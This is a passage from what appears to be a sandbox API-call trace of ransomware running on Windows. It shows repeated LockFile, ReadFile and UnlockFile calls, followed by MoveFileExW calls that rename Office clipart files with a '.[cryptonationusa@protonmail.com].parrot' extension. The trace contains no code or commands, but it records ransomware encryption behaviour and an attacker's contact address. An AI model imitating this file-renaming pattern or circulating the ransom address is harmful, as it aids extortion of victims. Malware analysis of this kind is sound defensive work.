lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.172] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.175] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.177] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.177] CloseHandle (hObject=0x27c) returned 1 [0132.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.213] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.213] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.215] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.219] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.219] CloseHandle (hObject=0x27c) returned 1 [0132.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.224] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.224] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.225] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.225] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0132.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.229] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.229] CloseHandle (hObject=0x27c) returned 1 [0132.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.234] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.239] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.239] CloseHandle (hObject=0x27c) returned 1 [0132.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.245] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.245] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.261] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.261] CloseHandle (hObject=0x27c) returned 1 [0132.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.266] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.266] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.268] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.268] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.270] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.271] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.271] CloseHandle (hObject=0x27c) returned 1 [0132.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.278] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.282] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.282] CloseHandle (hObject=0x27c) returned 1 [0132.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.287] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.287] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.289] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0132.290] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.292] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.292] CloseHandle (hObject=0x27c) returned 1 [0132.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.296] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.296] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.298] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.301] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.301] CloseHandle (hObject=0x27c) returned 1 [0132.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.305] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.305] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0132.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.310] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.310] CloseHandle (hObject=0x27c) returned 1 [0132.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.315] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8080, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.317] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7f68, lpOverlapped=0x0) returned 1 [0132.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.321] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8080, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.321] CloseHandle (hObject=0x27c) returned 1 [0132.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.327] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4000, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.327] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.327] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.328] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0132.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.331] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.331] CloseHandle (hObject=0x27c) returned 1 [0132.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.334] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.334] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.335] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e74, lpOverlapped=0x0) returned 1 [0132.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.339] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.340] CloseHandle (hObject=0x27c) returned 1 [0132.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.343] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a90, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.343] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.344] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6978, lpOverlapped=0x0) returned 1 [0132.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.346] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.346] CloseHandle (hObject=0x27c) returned 1 [0132.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.351] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ce8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.351] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 